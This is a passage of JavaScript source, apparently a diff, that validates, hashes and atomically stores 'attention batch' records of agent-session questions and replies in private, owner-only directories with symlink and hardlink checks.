safe) { + failBatch('attention_batch_path_unsafe', 'name', + 'Attention child path escaped the private root.'); + } + return joined; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink() || !stat.isDirectory()) { + failBatch('attention_batch_root_unsafe', field, + `The attention ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failBatch('attention_batch_root_unsafe', field, + `The attention ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failBatch('attention_batch_root_unsafe', field, + `The attention ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failBatch('attention_batch_not_regular', field, + 'Attention files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failBatch('attention_batch_not_regular', field, + 'Attention files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failBatch('attention_batch_root_unsafe', field, + 'Attention files must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failBatch('attention_batch_root_unsafe', field, + 'Attention files must be owner-only.'); + } +} + +function expectedReplyCapability(provider) { + return provider === 'dsh' || provider === 'cursor-cloud' + ? 'unsupported' + : 'same_session'; +} + +function domainDigest(label, value) { + const canonical = canonicalJsonStringify(value); + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(ATTENTION_BATCH_HASH_DOMAIN, 'utf8') + .update('\n', 'utf8') + .update(STRING(ATTENTION_BATCH_VERSION), 'utf8') + .update('\n', 'utf8') + .update(label, 'utf8') + .update('\n', 'utf8') + .update(canonical, 'utf8') + .digest('hex'); + return `sha256:${digest}`; +} + +function itemIdentity(item) { + return { + assignment_id: item.assignment_id, + deadline_at: item.deadline_at, + event_cursor: item.event_cursor, + options: item.options, + prompt: item.prompt, + provider: item.provider, + question_id: item.question_id, + reply_capability: item.reply_capability, + required: item.required, + session_id: item.session_id, + task_id: item.task_id, + }; +} + +export function attentionQuestionDigestV1(item) { + return domainDigest('question', itemIdentity(item)); +} + +export function deriveAttentionBatchIdV1(runId, source, items) { + const digest = domainDigest('batch', { + items: items.map((item) => itemIdentity(item)), + run_id: runId, + source, + }); + return `att-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +function assertPatternedId(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + failBatch('invalid_format', path, `${path} must be a valid ${label}.`); + } + return value; +} + +function assertAssignment(value, path) { + if (!isAssignmentId(value) || !capturedTest(ASSIGNMENT_ID_PATTERN, value)) { + failBatch('invalid_format', path, + `${path} must match ${ASSIGNMENT_ID_PATTERN.source}.`); + } + return value; +} + +function assertDeadline(value, path) { + if (value === null) return null; + if (typeof value !== 'string' || !capturedTest(DEADLINE_PATTERN, value)) { + failBatch('invalid_format', path, + `${path} must be null or an RFC3339 UTC timestamp.`); + } + return value; +} + +function assertPrompt(value, path) { + if (value === null) return null; + if (typeof value !== 'string' || value.length === 0) { + failBatch('invalid_format', path, + `${path} must be null or non-empty sanitized UTF-8.`); + } + if (capturedUtf8ByteLength(value) > MAX_ATTENTION_PROMPT_BYTES) { + failBatch('out_of_range', path, + `${path} must not exceed ${MAX_ATTENTION_PROMPT_BYTES} bytes.`); + } + return value; +} + +function assertOptions(value, path) { + if (value === null) return null; + assertNotProxy(value, path); + if (!capturedIsArray(value)) { + failBatch('invalid_type', path, `${path} must be null or a dense options array.`); + } + if (value.length === 0 || value.length > MAX_ATTENTION_OPTIONS) { + failBatch('out_of_range', path, + `${path} must carry 1-${MAX_ATTENTION_OPTIONS} options.`); + } + const options = []; + for (let index = 0; index < value.length; index += 1) { + const optionPath = `${path}[${index}]`; + const option = ownDataValue(value, STRING(index), optionPath); + if (typeof option !== 'string' || option.length === 0 + || capturedUtf8ByteLength(option) > MAX_ATTENTION_OPTION_BYTES) { + failBatch('invalid_format', optionPath, + `${optionPath} must be a bounded non-empty option string.`); + } + options.push(option); + } + return options; +} + +function assertBoolean(value, path) { + if (value !== true && value !== false) { + failBatch('invalid_type', path, `${path} must be an exact boolean.`); + } + return value; +} + +function assertSafeInt(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) + || value < min || value > max) { + failBatch('invalid_format', path, + `${path} must be a safe integer between ${min} and ${max}.`); + } + return value; +} + +function sortByAssignmentId(left, right) { + if (left.assignment_id < right.assignment_id) return -1; + if (left.assignment_id > right.assignment_id) return 1; + return 0; +} + +function assertTaskCursor(value, path) { + const fields = closedObject(value, path, ATTENTION_BATCH_TASK_CURSOR_KEYS); + return { + assignment_id: assertAssignment(fields.assignment_id, `${path}.assignment_id`), + task_id: assertPatternedId(fields.task_id, TASK_ID_PATTERN, `${path}.task_id`, 'task_id'), + event_cursor: assertPatternedId( + fields.event_cursor, EVENT_CURSOR_PATTERN, `${path}.event_cursor`, 'event_cursor', + ), + }; +} + +export function validateAttentionSourceV1(source, path = 'source') { + const fields = closedObject(source, path, ATTENTION_BATCH_SOURCE_KEYS); + const journalRevision = assertSafeInt( + fields.journal_revision, `${path}.journal_revision`, 0, 512, + ); + const head = fields.journal_head_hash; + if (typeof head !== 'string' + || (head !== RUN_JOURNAL_GENESIS_PREV && !capturedTest(SHA256_DIGEST_PATTERN, head))) { + failBatch('invalid_format', `${path}.journal_head_hash`, + `${path}.journal_head_hash must be the P25 genesis marker or a sha256 digest.`); + } + assertNotProxy(fields.task_cursors, `${path}.task_cursors`); + if (!capturedIsArray(fields.task_cursors)) { + failBatch('invalid_type', `${path}.task_cursors`, + `${path}.task_cursors must be a dense array.`); + } + if (fields.task_cursors.length < MIN_ATTENTION_ITEMS + || fields.task_cursors.length > MAX_ATTENTION_ITEMS) { + failBatch('out_of_range', `${path}.task_cursors`, + `${path}.task_cursors must carry ${MIN_ATTENTION_ITEMS}..${MAX_ATTENTION_ITEMS} entries.`); + } + const cursors = []; + const seen = new Set(); + for (let index = 0; index < fields.task_cursors.length; index += 1) { + const cursor = assertTaskCursor( + ownDataValue(fields.task_cursors, STRING(index), `${path}.task_cursors[${index}]`), + `${path}.task_cursors[${index}]`, + ); + if (seen.has(cursor.assignment_id)) { + failBatch('duplicate_assignment_id', `${path}.task_cursors[${index}].assignment_id`, + 'task_cursors must be unique by assignment_id.'); + } + seen.add(cursor.assignment_id); + cursors.push(cursor); + } + cursors.sort(sortByAssignmentId); + return { + journal_revision: journalRevision, + journal_head_hash: head, + task_cursors: cursors, + }; +} + +function validateItemShape(value, path) { + const fields = closedObject(value, path, ATTENTION_BATCH_ITEM_KEYS); + const provider = fields.provider; + if (!isKnownProvider(provider) || !capturedIncludes(ATTENTION_BATCH_PROVIDERS, provider)) { + failBatch('invalid_format', `${path}.provider`, + `${path}.provider must be exactly one of ${knownProvidersJoined()}.`); + } + const replyCapability = fields.reply_capability; + if (!capturedIncludes(ATTENTION_BATCH_REPLY_CAPABILITIES, replyCapability)) { + failBatch('invalid_format', `${path}.reply_capability`, + `${path}.reply_capability must be exactly one of ${capturedJoin(ATTENTION_BATCH_REPLY_CAPABILITIES, ', ')}.`); + } + const expected = expectedReplyCapability(provider); + if (replyCapability !== expected) { + failBatch('capability_reply_mismatch', `${path}.reply_capability`, + `${path}.reply_capability must be "${expected}" for provider "${provider}".`); + } + if (!capturedIncludes(ATTENTION_BATCH_DISPOSITIONS, fields.disposition)) { + failBatch('invalid_format', `${path}.disposition`, + `${path}.disposition must be a closed attention disposition.`); + } + const item = { + assignment_id: assertAssignment(fields.assignment_id, `${path}.assignment_id`), + task_id: assertPatternedId(fields.task_id, TASK_ID_PATTERN, `${path}.task_id`, 'task_id'), + provider, + required: assertBoolean(fields.required, `${path}.required`), + session_id: assertPatternedId( + fields.session_id, SESSION_ID_PATTERN, `${path}.session_id`, 'session_id', + ), + question_id: assertPatternedId( + fields.question_id, QUESTION_ID_PATTERN, `${path}.question_id`, 'question_id', + ), + event_cursor: assertPatternedId( + fields.event_cursor, EVENT_CURSOR_PATTERN, `${path}.event_cursor`, 'event_cursor', + ), + question_digest: fields.question_digest, + prompt: assertPrompt(fields.prompt, `${path}.prompt`), + options: assertOptions(fields.options, `${path}.options`), + reply_capability: replyCapability, + disposition: fields.disposition, + deadline_at: assertDeadline(fields.deadline_at, `${path}.deadline_at`), + }; + if (typeof item.question_digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, item.question_digest)) { + failBatch('invalid_format', `${path}.question_digest`, + `${path}.question_digest must be a sha256 digest.`); + } + const digest = attentionQuestionDigestV1(item); + if (digest !== item.question_digest) { + failBatch('attention_batch_identity_mismatch', `${path}.question_digest`, + 'question_digest must match the latched question identity.'); + } + return item; +} + +function bindItemsToSource(items, source, path) { + if (items.length !== source.task_cursors.length) { + failBatch('attention_batch_identity_mismatch', path, + 'Attention items must match the latched P25 cursor boundary.'); + } + const byAssignment = capturedCreate(null); + for (const cursor of source.task_cursors) { + byAssignment[cursor.assignment_id] = cursor; + } + for (let index = 0; index < items.length; index += 1) { + const item = items[index]; + const cursor = byAssignment[item.assignment_id]; + if (cursor === undefined) { + failBatch('attention_batch_identity_mismatch', `${path}[${index}].assignment_id`, + 'Each item must appear on the latched task_cursors boundary.'); + } + if (cursor.task_id !== item.task_id || cursor.event_cursor !== item.event_cursor) { + failBatch('attention_batch_identity_mismatch', `${path}[${index}].event_cursor`, + 'Item task_id and event_cursor must equal the latched cursor boundary.'); + } + } +} + +export function validateAttentionItemsV1(items, path = 'items') { + assertNotProxy(items, path); + if (!capturedIsArray(items)) { + failBatch('invalid_type', path, `${path} must be a dense attention item array.`); + } + if (items.length < MIN_ATTENTION_ITEMS || items.length > MAX_ATTENTION_ITEMS) { + failBatch('out_of_range', path, + `${path} must carry ${MIN_ATTENTION_ITEMS}..${MAX_ATTENTION_ITEMS} unique items.`); + } + const normalized = []; + const seen = new Set(); + for (let index = 0; index < items.length; index += 1) { + const item = validateItemShape( + ownDataValue(items, STRING(index), `${path}[${index}]`), + `${path}[${index}]`, + ); + if (seen.has(item.assignment_id)) { + failBatch('duplicate_assignment_id', `${path}[${index}].assignment_id`, + 'Attention items must be unique by assignment_id.'); + } + seen.add(item.assignment_id); + normalized.push(item); + } + normalized.sort(sortByAssignmentId); + return normalized; +} + +function assertResponse(value, path) { + if (typeof value !== 'string') { + failBatch('invalid_type', path, `${path} must be a UTF-8 string.`); + } + if (capturedUtf8ByteLength(value) > MAX_ATTENTION_RESPONSE_BYTES) { + failBatch('out_of_range', path, + `${path} must not exceed ${MAX_ATTENTION_RESPONSE_BYTES} bytes.`); + } + return value; +} + +function validateReplyValue(reply, batchId, path = 'reply') { + const fields = closedObject(reply, path, ATTENTION_BATCH_REPLY_KEYS); + if (fields.batch_id !== batchId) { + failBatch('attention_batch_identity_mismatch', `${path}.batch_id`, + 'Reply batch_id must equal the latched batch identity.'); + } + if (fields.round !== ATTENTION_REPLY_ROUND) { + failBatch('invalid_format', `${path}.round`, + `Reply round must be exactly ${ATTENTION_REPLY_ROUND}.`); + } + assertNotProxy(fields.answers, `${path}.answers`); + if (!capturedIsArray(fields.answers)) { + failBatch('invalid_type', `${path}.answers`, `${path}.answers must be a dense array.`); + } + if (fields.answers.length > MAX_ATTENTION_ITEMS) { + failBatch('out_of_range', `${path}.answers`, + `${path}.answers must not exceed ${MAX_ATTENTION_ITEMS} rows.`); + } + const answers = []; + const seen = new Set(); + for (let index = 0; index < fields.answers.length; index += 1) { + const answerPath = `${path}.answers[${index}]`; + const row = closedObject( + ownDataValue(fields.answers, STRING(index), answerPath), + answerPath, + ATTENTION_BATCH_ANSWER_KEYS, + ); + const assignmentId = assertAssignment(row.assignment_id, `${answerPath}.assignment_id`); + if (seen.has(assignmentId)) { + failBatch('duplicate_assignment_id', `${answerPath}.assignment_id`, + 'Reply answers must be unique by assignment_id.'); + } + seen.add(assignmentId); + answers.push({ + assignment_id: assignmentId, + task_id: assertPatternedId(row.task_id, TASK_ID_PATTERN, `${answerPath}.task_id`, 'task_id'), + session_id: assertPatternedId( + row.session_id, SESSION_ID_PATTERN, `${answerPath}.session_id`, 'session_id', + ), + question_id: assertPatternedId( + row.question_id, QUESTION_ID_PATTERN, `${answerPath}.question_id`, 'question_id', + ), + response: assertResponse(row.response, `${answerPath}.response`), + }); + } + answers.sort(sortByAssignmentId); + return { batch_id: batchId, round: ATTENTION_REPLY_ROUND, answers }; +} + +function validateUnresolvedEntry(value, path) { + const fields = closedObject(value, path, ATTENTION_BATCH_UNRESOLVED_KEYS); + if (!capturedIncludes(ATTENTION_BATCH_UNRESOLVED_CODES, fields.code)) { + failBatch('invalid_format', `${path}.code`, + `${path}.code must be a frozen unresolved attention code.`); + } + return { + assignment_id: assertAssignment(fields.assignment_id, `${path}.assignment_id`), + task_id: assertPatternedId(fields.task_id, TASK_ID_PATTERN, `${path}.task_id`, 'task_id'), + session_id: assertPatternedId( + fields.session_id, SESSION_ID_PATTERN, `${path}.session_id`, 'session_id', + ), + question_id: assertPatternedId( + fields.question_id, QUESTION_ID_PATTERN, `${path}.question_id`, 'question_id', + ), + required: assertBoolean(fields.required, `${path}.required`), + code: fields.code, + }; +} + +function normalizeUnresolved(entries, path = 'unresolved') { + assertNotProxy(entries, path); + if (!capturedIsArray(entries)) { + failBatch('invalid_type', path, `${path} must be a dense unresolved array.`); + } + if (entries.length > MAX_ATTENTION_ITEMS * 2) { + failBatch('out_of_range', path, `${path} exceeds the bounded unresolved set.`); + } + const normalized = []; + const seen = new Set(); + for (let index = 0; index < entries.length; index += 1) { + const entry = validateUnresolvedEntry( + ownDataValue(entries, STRING(index), `${path}[${index}]`), + `${path}[${index}]`, + ); + const key = `${entry.assignment_id}\u0000${entry.code}`; + if (seen.has(key)) continue; + seen.add(key); + normalized.push(entry); + } + normalized.sort((left, right) => { + const byAssignment = sortByAssignmentId(left, right); + if (byAssignment !== 0) return byAssignment; + if (left.code < right.code) return -1; + if (left.code > right.code) return 1; + return 0; + }); + return normalized; +} + +function pushUnresolved(list, item, code) { + const next = [...list, { + assignment_id: item.assignment_id, + task_id: item.task_id, + session_id: item.session_id, + question_id: item.question_id, + required: item.required === true, + code, + }]; + return normalizeUnresolved(next, 'unresolved'); +} + +function identicalQuestionSet(leftItems, rightItems) { + if (leftItems.length !== rightItems.length) return false; + for (let index = 0; index < leftItems.length; index += 1) { + if (canonicalJsonStringify(itemIdentity(leftItems[index])) + !== canonicalJsonStringify(itemIdentity(rightItems[index]))) { + return false; + } + } + return true; +} + +function identicalSource(left, right) { + return canonicalJsonStringify(left) === canonicalJsonStringify(right); +} + +function deadlineExpired(deadlineAt, now) { + if (deadlineAt === null || now === undefined) return false; + const parsed = Date.parse(deadlineAt); + return NUMBER_IS_SAFE_INTEGER(parsed) && NUMBER_IS_SAFE_INTEGER(now) && now >= parsed; +} + +function everySettled(items) { + return items.every((item) => item.disposition === 'answered' || item.disposition === 'unresolved'); +} + +function completeCandidateBlocked(items, unresolved) { + for (const item of items) { + if (item.required === true && item.disposition === 'unresolved') return true; + } + for (const entry of unresolved) { + if (entry.required === true) return true; + } + return false; +} + +function encodeRecord(record) { + const canonical = `${canonicalJsonStringify(record)}\n`; + const bytes = BUFFER_FROM(canonical, 'utf8'); + if (bytes.byteLength > MAX_ATTENTION_BATCH_RECORD_BYTES) { + failBatch('attention_batch_record_too_large', 'record', + `Attention records must not exceed ${MAX_ATTENTION_BATCH_RECORD_BYTES} bytes.`); + } + return { record: snapshotRecord(record), bytes }; +} + +export function validateAttentionBatchRecordV1(record, path = 'record') { + const fields = closedObject(record, path, ATTENTION_BATCH_RECORD_KEYS); + if (fields.schema !== ATTENTION_BATCH_SCHEMA_ID) { + failBatch('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${ATTENTION_BATCH_SCHEMA_ID}".`); + } + if (fields.version !== ATTENTION_BATCH_VERSION) { + failBatch('invalid_format', `${path}.version`, + `${path}.version must be exactly ${ATTENTION_BATCH_VERSION}.`); + } + assertRunId(fields.run_id, `${path}.run_id`); + assertPatternedId(fields.batch_id, BATCH_ID_PATTERN, `${path}.batch_id`, 'batch_id'); + const revision = assertSafeInt(fields.revision, `${path}.revision`, 1, 4096); + if (!capturedIncludes(ATTENTION_BATCH_STATUSES, fields.status)) { + failBatch('invalid_format', `${path}.status`, + `${path}.status must be one of ${capturedJoin(ATTENTION_BATCH_STATUSES, ', ')}.`); + } + const source = validateAttentionSourceV1(fields.source, `${path}.source`); + const items = validateAttentionItemsV1(fields.items, `${path}.items`); + bindItemsToSource(items, source, `${path}.items`); + const expectedId = deriveAttentionBatchIdV1(fields.run_id, source, items); + if (expectedId !== fields.batch_id) { + failBatch('attention_batch_identity_mismatch', `${path}.batch_id`, + 'batch_id must match the latched run/source/item identity.'); + } + let reply = fields.reply; + if (reply === null) { + if (fields.status !== 'open') { + failBatch('invalid_format', `${path}.reply`, + 'A non-open attention batch must carry the durable reply round.'); + } + } else { + reply = validateReplyValue(reply, fields.batch_id, `${path}.reply`); + if (fields.status === 'open') { + failBatch('invalid_format', `${path}.reply`, + 'An open attention batch must not carry a reply.'); + } + } + const unresolved = normalizeUnresolved(fields.unresolved, `${path}.unresolved`); + if (fields.status === 'resolved' && !everySettled(items)) { + failBatch('invalid_format', `${path}.status`, + 'resolved requires every item to be answered or unresolved.'); + } + return { + schema: ATTENTION_BATCH_SCHEMA_ID, + version: ATTENTION_BATCH_VERSION, + run_id: fields.run_id, + batch_id: fields.batch_id, + revision, + status: fields.status, + source, + items, + reply, + unresolved, + }; +} + +function receiptFor(record, created) { + return snapshotRecord({ + schema: ATTENTION_BATCH_RECEIPT_SCHEMA_ID, + created: created === true, + complete_candidate_blocked: completeCandidateBlocked(record.items, record.unresolved), + wake: false, + remote_mutated: false, + record, + }); +} + +async function openDirectoryHandle(dirPath, field) { + let handle; + try { + handle = await open(dirPath, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, field, 'attention_batch_root_unsafe', + 'The attention directory could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertPrivateDirectory(stat, field, 'directory'); + return { handle, path: dirPath, dev: stat.dev, ino: stat.ino, mode: stat.mode }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function reopenAndVerify(token, label) { + const opened = await openDirectoryHandle(token.path, label); + try { + if (!sameIdentity(opened, token)) { + failBatch('attention_batch_root_unsafe', label, + `The attention ${label} was replaced during use.`); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +async function syncDirectory(handle) { + try { + await handle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failBatch('attention_batch_io_failed', 'directory', + 'The attention directory could not be synchronized.'); + } +} + +async function enumerateDirectory(token, maxEntries, field) { + let dir; + try { + dir = await opendir(token.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > maxEntries) { + failBatch('attention_batch_too_many_entries', field, + `Attention directories must not exceed ${maxEntries} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, field)); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +function classifyRunEntry(name) { + if (capturedTest(TEMP_NAME_PATTERN, name)) return 'temp'; + if (name === RECORD_NAME) return 'record'; + if (capturedIncludes(P25_FOREIGN_NAMES, name)) return 'p25'; + return 'foreign'; +} + +async function inspectChildFile(dirToken, name, field) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return { kind: 'missing' }; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failBatch('attention_batch_not_regular', field, + 'Attention entries must be regular non-symlink files.'); + } + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention entry could not be inspected.'); + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failBatch('attention_batch_not_regular', field, + 'Attention entries must be regular non-symlink files.'); + } + return { kind: 'file', stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function readBoundedFile(dirToken, name, maxBytes, field) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failBatch('attention_batch_not_regular', field, + 'Attention files must be regular non-symlink files.'); + } + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention file could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) > maxBytes) { + failBatch('attention_batch_record_too_large', field, + `Attention files must not exceed ${maxBytes} bytes.`); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failBatch('attention_batch_record_too_large', field, + `Attention files must not exceed ${maxBytes} bytes.`); + } + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size) + || Number(after.nlink) !== Number(stat.nlink)) { + failBatch('attention_batch_io_failed', field, + 'The attention file changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +function decodeRecordBytes(bytes, field) { + let text; + try { + text = TEXT_DECODER.decode(bytes); + } catch { + failBatch('invalid_format', field, 'Attention records must be well-formed UTF-8 JSON.'); + } + if (!text.endsWith('\n')) { + failBatch('invalid_format', field, 'Attention records must end with a newline.'); + } + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failBatch('invalid_format', field, 'Attention records must be valid JSON.'); + } + const record = validateAttentionBatchRecordV1(parsed, field); + const encoded = encodeRecord(record); + if (encoded.bytes.byteLength !== bytes.byteLength + || !TIMING_SAFE_EQUAL(encoded.bytes, bytes)) { + failBatch('attention_batch_identity_mismatch', field, + 'Stored attention bytes do not match the canonical record.'); + } + return encoded.record; +} + +async function atomicPublish(dirToken, finalName, bytes, field) { + const tempName = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const tempPath = childPath(dirToken.path, tempName); + const finalPath = childPath(dirToken.path, finalName); + let handle; + try { + handle = await open(tempPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, field, 'attention_batch_io_failed', + 'A private temporary file could not be created.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) !== bytes.byteLength) { + failBatch('attention_batch_io_failed', field, 'Temporary write was truncated.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await rename(tempPath, finalPath); + } catch (error) { + await unlink(tempPath).catch(() => {}); + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention record could not be published atomically.'); + } + await syncDirectory(dirToken.handle); +} + +async function exclusivePublish(dirToken, finalName, bytes, field) { + const tempName = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const tempPath = childPath(dirToken.path, tempName); + const finalPath = childPath(dirToken.path, finalName); + let handle; + try { + handle = await open(tempPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, field, 'attention_batch_io_failed', + 'A private temporary file could not be created.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) !== bytes.byteLength) { + failBatch('attention_batch_io_failed', field, 'Temporary write was truncated.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await link(tempPath, finalPath); + } catch (error) { + await unlink(tempPath).catch(() => {}); + if (error?.code === 'EEXIST') return false; + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention record could not be published exclusively.'); + } + await unlink(tempPath).catch(() => {}); + await syncDirectory(dirToken.handle); + return true; +} + +async function removeStaleTemporaries(dirToken, names) { + let removed = 0; + for (const name of names) { + if (!capturedTest(TEMP_NAME_PATTERN, name)) continue; + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failBatch('attention_batch_not_regular', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + if (error?.code === 'ENOENT') continue; + throw error; + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failBatch('attention_batch_not_regular', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failBatch('attention_batch_root_unsafe', 'temporary', + 'A leftover temporary file is not owned by the current user.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await unlink(target); + removed += 1; + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + } + if (removed > 0) await syncDirectory(dirToken.handle); + return removed; +} + +async function ensurePrivateDirectory(parentToken, name, field) { + const target = childPath(parentToken.path, name); + try { + await mkdir(target, { mode: 0o700 }); + await syncDirectory(parentToken.handle); + } catch (error) { + if (error?.code !== 'EEXIST') { + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention directory could not be created.'); + } + } + const opened = await openDirectoryHandle(target, field); + try { + await opened.handle.chmod(0o700); + } catch { + // chmod after umask; verification below is authoritative. + } + await opened.handle.close().catch(() => {}); + return openDirectoryHandle(target, field); +} + +async function auditRunDirectory(dirToken) { + const names = await enumerateDirectory(dirToken, MAX_ATTENTION_DIRECTORY_ENTRIES, 'directory'); + const temps = []; + let hasRecord = false; + for (const name of names) { + const kind = classifyRunEntry(name); + if (kind === 'p25') { + failBatch('attention_batch_root_shared', 'directory', + 'The attention root must stay separate from accepted P25 journal files.'); + } + if (kind === 'foreign') { + failBatch('attention_batch_foreign_entry', 'directory', + 'The attention run directory contains a foreign entry.'); + } + if (kind === 'temp') { + temps.push(name); + if (temps.length > MAX_ATTENTION_BATCH_TEMPORARIES) { + failBatch('attention_batch_too_many_entries', 'temporary', + 'Attention run directories exceed the leftover temporary bound.'); + } + continue; + } + hasRecord = true; + const inspection = await inspectChildFile(dirToken, name, 'record'); + if (inspection.kind !== 'file') { + failBatch('attention_batch_not_regular', 'record', + 'Attention records must be regular non-symlink files.'); + } + assertRegularUnsharedFile(inspection.stat, 'record'); + } + return { names, temps, hasRecord }; +} + +async function readRecord(dirToken, runId) { + const opened = await readBoundedFile( + dirToken, RECORD_NAME, MAX_ATTENTION_BATCH_RECORD_BYTES, 'record', + ); + if (opened === null) return null; + const record = decodeRecordBytes(opened.bytes, 'record'); + if (record.run_id !== runId) { + failBatch('attention_batch_identity_mismatch', 'run_id', + 'The stored attention record does not match the requested run identity.'); + } + return record; +} + +async function publishRecord(dirToken, record, exclusive = false) { + const encoded = encodeRecord(validateAttentionBatchRecordV1(record)); + if (exclusive) { + const created = await exclusivePublish(dirToken, RECORD_NAME, encoded.bytes, 'record'); + if (!created) return null; + } else { + await atomicPublish(dirToken, RECORD_NAME, encoded.bytes, 'record'); + } + const reread = await readBoundedFile( + dirToken, RECORD_NAME, MAX_ATTENTION_BATCH_RECORD_BYTES, 'record', + ); + if (reread === null || !TIMING_SAFE_EQUAL(reread.bytes, encoded.bytes)) { + failBatch('attention_batch_publish_unverified', 'record', + 'The published attention record did not verify.'); + } + return encoded.record; +} + +function withRootChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = ROOT_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (ROOT_CHAINS.get(id) === settled) ROOT_CHAINS.delete(id); + }); + ROOT_CHAINS.set(id, settled); + return current; +} + +function parseNow(value) { + if (value === undefined) return undefined; + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || value < 0) { + failBatch('invalid_format', 'now', 'now must be a non-negative epoch millisecond.'); + } + return value; +} + +function parseInjectedFunction(value, field) { + if (value === undefined) return undefined; + if (typeof value !== 'function') { + failBatch('invalid_type', field, `${field} must be an injected function.`); + } + return value; +} + +function parseOperationOptions(options, allowed, required, path = '$') { + if (options === undefined || options === null || typeof options !== 'object' + || capturedIsArray(options)) { + failBatch('invalid_type', path, 'Attention options must be a plain object.'); + } + assertNotProxy(options, path); + for (const key of Reflect.ownKeys(options)) { + if (typeof key === 'symbol') { + failBatch('symbol_key_denied', `${path}[symbol]`, + 'Attention options carry a symbol-keyed property.'); + } + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(allowed, key)) { + failBatch('unknown_key', `${path}.${key}`, + `${path}.${key} is not a closed attention option.`); + } + } + for (const key of required) { + if (!capturedHasOwn(options, key)) { + failBatch('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + const json = {}; + const injected = {}; + for (const key of allowed) { + if (!capturedHasOwn(options, key)) continue; + const value = ownDataValue(options, key, `${path}.${key}`); + if (capturedIncludes(FUNCTION_KEYS, key) || key === 'now') { + if (key === 'now') injected.now = parseNow(value); + else injected[key] = parseInjectedFunction(value, `${path}.${key}`); + continue; + } + assertDirectJsonClosure(value, `${path}.${key}`); + json[key] = value; + } + return { json, injected }; +} + +async function invokeCancel(cancel, identity, _code) { + if (typeof cancel !== 'function') return 'unconfirmed'; + let result; + try { + result = await cancel(snapshotRecord({ + run_id: identity.run_id, + 